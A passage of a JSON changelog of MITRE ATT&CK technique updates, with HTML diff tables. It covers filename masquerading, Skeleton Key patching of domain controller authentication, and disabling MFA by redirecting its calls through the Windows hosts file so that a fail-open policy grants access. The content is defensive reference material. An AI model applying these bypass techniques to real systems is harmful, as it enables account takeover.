nowrap=\"nowrap\">However,&nbsp;if&nbsp;the&nbsp;file&nbsp;is&nbsp;renamed&nbsp;to&nbsp;&lt;code&gt;evil.txt&nbsp;&lt;/code&gt;&nbsp;(n</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">However,&nbsp;if&nbsp;the&nbsp;file&nbsp;is&nbsp;renamed&nbsp;to&nbsp;&lt;code&gt;evil.txt&nbsp;&lt;/code&gt;&nbsp;(n</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ote&nbsp;the&nbsp;space&nbsp;at&nbsp;the&nbsp;end),&nbsp;then&nbsp;when&nbsp;double&nbsp;clicked&nbsp;by&nbsp;a&nbsp;use</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ote&nbsp;the&nbsp;space&nbsp;at&nbsp;the&nbsp;end),&nbsp;then&nbsp;when&nbsp;double&nbsp;clicked&nbsp;by&nbsp;a&nbsp;use</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r,&nbsp;the&nbsp;true&nbsp;file&nbsp;type&nbsp;is&nbsp;determined&nbsp;by&nbsp;the&nbsp;OS&nbsp;and&nbsp;handled&nbsp;ap</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r,&nbsp;the&nbsp;true&nbsp;file&nbsp;type&nbsp;is&nbsp;determined&nbsp;by&nbsp;the&nbsp;OS&nbsp;and&nbsp;handled&nbsp;ap</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">propriately&nbsp;and&nbsp;the&nbsp;binary&nbsp;will&nbsp;be&nbsp;executed<span class=\"diff_chg\">&nbsp;</span>(Citation:&nbsp;Mac&nbsp;B</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">propriately&nbsp;and&nbsp;the&nbsp;binary&nbsp;will&nbsp;be&nbsp;executed<span class=\"diff_chg\">.</span>(Citation:&nbsp;Mac&nbsp;B</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ackdoors&nbsp;are&nbsp;back).<span class=\"diff_sub\">&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;use&nbsp;this&nbsp;feature&nbsp;to&nbsp;tri</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ackdoors&nbsp;are&nbsp;back)<span class=\"diff_add\">&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;use&nbsp;this&nbsp;feature&nbsp;to&nbsp;tric</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">ck&nbsp;users&nbsp;into&nbsp;double&nbsp;clicking&nbsp;benign-looking&nbsp;files&nbsp;of&nbsp;any&nbsp;fo</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">k&nbsp;users&nbsp;into&nbsp;double&nbsp;clicking&nbsp;benign-looking&nbsp;files&nbsp;of&nbsp;any&nbsp;for</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">rmat&nbsp;and&nbsp;ultimately&nbsp;executing&nbsp;something&nbsp;malicious.</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">mat&nbsp;and&nbsp;ultimately&nbsp;executing&nbsp;something&nbsp;malicious</span>.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0292: Masquerading via Space After Filename - Behavioral Detection Strategy"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-11 19:05:02.399000+00:00",
                    "modified": "2026-11-03 23:26:50.922000+00:00",
                    "name": "Domain Controller Authentication",
                    "description": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "defense-impairment"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1556/001",
                            "external_id": "T1556.001"
                        },
                        {
                            "source_name": "Dell Skeleton",
                            "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
                            "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "3.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:26:50.922000+00:00\", \"old_value\": \"2026-05-12 15:12:00.717000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \\n\\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)\", \"old_value\": \"Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \\n\\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \\n \\n-Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)\\n+Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)\"}}}",
                    "previous_version": "3.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to20__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to20__0\"><a href=\"#difflib_chg_to20__top\">t</a></td><td class=\"diff_header\" id=\"from20_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;patch&nbsp;the&nbsp;authentication&nbsp;process&nbsp;on&nbsp;a&nbsp;domain</td><td class=\"diff_next\"><a href=\"#difflib_chg_to20__top\">t</a></td><td class=\"diff_header\" id=\"to20_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;patch&nbsp;the&nbsp;authentication&nbsp;process&nbsp;on&nbsp;a&nbsp;domain</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;controller&nbsp;to&nbsp;bypass&nbsp;the&nbsp;typical&nbsp;authentication&nbsp;mechanisms&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;controller&nbsp;to&nbsp;bypass&nbsp;the&nbsp;typical&nbsp;authentication&nbsp;mechanisms&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;enable&nbsp;access&nbsp;to&nbsp;accounts.&nbsp;&nbsp;&nbsp;Malware&nbsp;may&nbsp;be&nbsp;used&nbsp;to&nbsp;inje</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;enable&nbsp;access&nbsp;to&nbsp;accounts.&nbsp;&nbsp;&nbsp;Malware&nbsp;may&nbsp;be&nbsp;used&nbsp;to&nbsp;inje</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ct&nbsp;false&nbsp;credentials&nbsp;into&nbsp;the&nbsp;authentication&nbsp;process&nbsp;on&nbsp;a&nbsp;do</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ct&nbsp;false&nbsp;credentials&nbsp;into&nbsp;the&nbsp;authentication&nbsp;process&nbsp;on&nbsp;a&nbsp;do</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">main&nbsp;controller&nbsp;with&nbsp;the&nbsp;intent&nbsp;of&nbsp;creating&nbsp;a&nbsp;backdoor&nbsp;used&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">main&nbsp;controller&nbsp;with&nbsp;the&nbsp;intent&nbsp;of&nbsp;creating&nbsp;a&nbsp;backdoor&nbsp;used&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;access&nbsp;any&nbsp;user\u2019s&nbsp;account&nbsp;and/or&nbsp;credentials&nbsp;(ex:&nbsp;[Skelet</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;access&nbsp;any&nbsp;user\u2019s&nbsp;account&nbsp;and/or&nbsp;credentials&nbsp;(ex:&nbsp;[Skelet</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;Key](https://attack.mitre.org/software/S0007)).&nbsp;Skeleton&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;Key](https://attack.mitre.org/software/S0007)).&nbsp;Skeleton&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">key&nbsp;works&nbsp;through&nbsp;a&nbsp;patch&nbsp;on&nbsp;an&nbsp;enterprise&nbsp;domain&nbsp;controller</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">key&nbsp;works&nbsp;through&nbsp;a&nbsp;patch&nbsp;on&nbsp;an&nbsp;enterprise&nbsp;domain&nbsp;controller</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;authentication&nbsp;process&nbsp;(LSASS)&nbsp;with&nbsp;credentials&nbsp;that&nbsp;advers</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;authentication&nbsp;process&nbsp;(LSASS)&nbsp;with&nbsp;credentials&nbsp;that&nbsp;advers</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;may&nbsp;use&nbsp;to&nbsp;bypass&nbsp;the&nbsp;standard&nbsp;authentication&nbsp;system.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;may&nbsp;use&nbsp;to&nbsp;bypass&nbsp;the&nbsp;standard&nbsp;authentication&nbsp;system.&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Once&nbsp;patched,&nbsp;an&nbsp;adversary&nbsp;can&nbsp;use&nbsp;the&nbsp;injected&nbsp;password&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Once&nbsp;patched,&nbsp;an&nbsp;adversary&nbsp;can&nbsp;use&nbsp;the&nbsp;injected&nbsp;password&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">successfully&nbsp;authenticate&nbsp;as&nbsp;any&nbsp;domain&nbsp;user&nbsp;account&nbsp;(until&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">successfully&nbsp;authenticate&nbsp;as&nbsp;any&nbsp;domain&nbsp;user&nbsp;account&nbsp;(until&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the<span class=\"diff_sub\">&nbsp;the</span>&nbsp;skeleton&nbsp;key&nbsp;is&nbsp;erased&nbsp;from&nbsp;memory&nbsp;by&nbsp;a&nbsp;reboot&nbsp;of&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;skeleton&nbsp;key&nbsp;is&nbsp;erased&nbsp;from&nbsp;memory&nbsp;by&nbsp;a&nbsp;reboot&nbsp;of&nbsp;the&nbsp;do</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;domain&nbsp;controller).&nbsp;Authenticated&nbsp;access&nbsp;may&nbsp;enable&nbsp;unfett</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">main&nbsp;controller).&nbsp;Authenticated&nbsp;access&nbsp;may&nbsp;enable&nbsp;unfettered</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ered&nbsp;access&nbsp;to&nbsp;hosts&nbsp;and/or&nbsp;resources&nbsp;within&nbsp;single-factor&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;access&nbsp;to&nbsp;hosts&nbsp;and/or&nbsp;resources&nbsp;within&nbsp;single-factor&nbsp;authe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uthentication&nbsp;environments.(Citation:&nbsp;Dell&nbsp;Skeleton)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntication&nbsp;environments.(Citation:&nbsp;Dell&nbsp;Skeleton)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1017: User Training",
                            "M1025: Privileged Process Integrity",
                            "M1026: Privileged Account Management",
                            "M1032: Multi-factor Authentication"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0271: Detect Domain Controller Authentication Process Modification (Skeleton Key)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2022-05-31 19:31:38.431000+00:00",
                    "modified": "2026-11-04 00:57:59.533000+00:00",
                    "name": "Multi-Factor Authentication",
                    "description": "Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "defense-impairment"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1556/006",
                            "external_id": "T1556.006"
                        },
                        {
                            "source_name": "Russians Exploit Default MFA Protocol - CISA March 2022",
                            "description": "Cyber Security Infrastructure Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved May 31, 2022.",
                            "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a"
                        },
                        {
                            "source_name": "Mandiant APT42",
                            "description": "Mandiant. (n.d.). APT42: Crooked Charms, Cons and Compromise. Retrieved September 16, 2022.",
                            "url": "https://www.mandiant.com/media/17826"
                        },
                        {
                            "source_name": "Azure AD Conditional Access Exclusions",
                            "description": "Microsoft. (2022, August 26). Use Azure AD access reviews to manage users excluded from Conditional Access policies. Retrieved August 30, 2022.",
                            "url": "https://docs.microsoft.com/en-us/azure/active-directory/governance/conditional-access-exclusion"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Arun Seelagan, CISA",
                        "Liran Ravich, CardinalOps",
                        "Muhammad Moiz Arshad, @5T34L7H"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "IaaS",
                        "Identity Provider",
                        "Linux",
                        "macOS",
                        "Office Suite",
                        "SaaS",
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:57:59.533000+00:00\", \"old_value\": \"2026-05-12 15:12:00.708000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\\n\\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\\n\\nFor example, modifying the Windows hosts file (`C:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \\\"fail open\\\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \\n\\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \", \"old_value\": \"Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\\n\\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\\n\\nFor example, modifying the Windows hosts file (`C:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \\\"fail open\\\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \\n\\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \", \"diff\": \"--- \\n+++ \\n@@ -2,6 +2,6 @@\\n \\n Once adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\\n \\n-For example, modifying the Windows hosts file (`C:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \\\"fail open\\\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \\n+For example, modifying the Windows hosts file (`C:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \\\"fail open\\\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \\n \\n Depending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to1__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to1__0\"><a href=\"#difflib_chg_to1__top\">t</a></td><td class=\"diff_header\" id=\"from1_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;disable&nbsp;or&nbsp;modify&nbsp;multi-factor&nbsp;authenticatio</td><td class=\"diff_next\"><a href=\"#difflib_chg_to1__top\">t</a></td><td class=\"diff_header\" id=\"to1_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;disable&nbsp;or&nbsp;modify&nbsp;multi-factor&nbsp;authenticatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;(MFA)&nbsp;mechanisms&nbsp;to&nbsp;enable&nbsp;persistent&nbsp;access&nbsp;to&nbsp;compromise</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;(MFA)&nbsp;mechanisms&nbsp;to&nbsp;enable&nbsp;persistent&nbsp;access&nbsp;to&nbsp;compromise</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;accounts.&nbsp;&nbsp;Once&nbsp;adversaries&nbsp;have&nbsp;gained&nbsp;access&nbsp;to&nbsp;a&nbsp;networ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;accounts.&nbsp;&nbsp;Once&nbsp;adversaries&nbsp;have&nbsp;gained&nbsp;access&nbsp;to&nbsp;a&nbsp;networ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k&nbsp;by&nbsp;either&nbsp;compromising&nbsp;an&nbsp;account&nbsp;lacking&nbsp;MFA&nbsp;or&nbsp;by&nbsp;employ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k&nbsp;by&nbsp;either&nbsp;compromising&nbsp;an&nbsp;account&nbsp;lacking&nbsp;MFA&nbsp;or&nbsp;by&nbsp;employ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;an&nbsp;MFA&nbsp;bypass&nbsp;method&nbsp;such&nbsp;as&nbsp;[Multi-Factor&nbsp;Authenticatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;an&nbsp;MFA&nbsp;bypass&nbsp;method&nbsp;such&nbsp;as&nbsp;[Multi-Factor&nbsp;Authenticatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;Request&nbsp;Generation](https://attack.mitre.org/techniques/T1</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;Request&nbsp;Generation](https://attack.mitre.org/techniques/T1</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">621),&nbsp;adversaries&nbsp;may&nbsp;leverage&nbsp;their&nbsp;access&nbsp;to&nbsp;modify&nbsp;or&nbsp;com</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">621),&nbsp;adversaries&nbsp;may&nbsp;leverage&nbsp;their&nbsp;access&nbsp;to&nbsp;modify&nbsp;or&nbsp;com</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pletely&nbsp;disable&nbsp;MFA&nbsp;defenses.&nbsp;This&nbsp;can&nbsp;be&nbsp;accomplished&nbsp;by&nbsp;ab</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pletely&nbsp;disable&nbsp;MFA&nbsp;defenses.&nbsp;This&nbsp;can&nbsp;be&nbsp;accomplished&nbsp;by&nbsp;ab</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">using&nbsp;legitimate&nbsp;features,&nbsp;such&nbsp;as&nbsp;excluding&nbsp;users&nbsp;from&nbsp;Azur</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 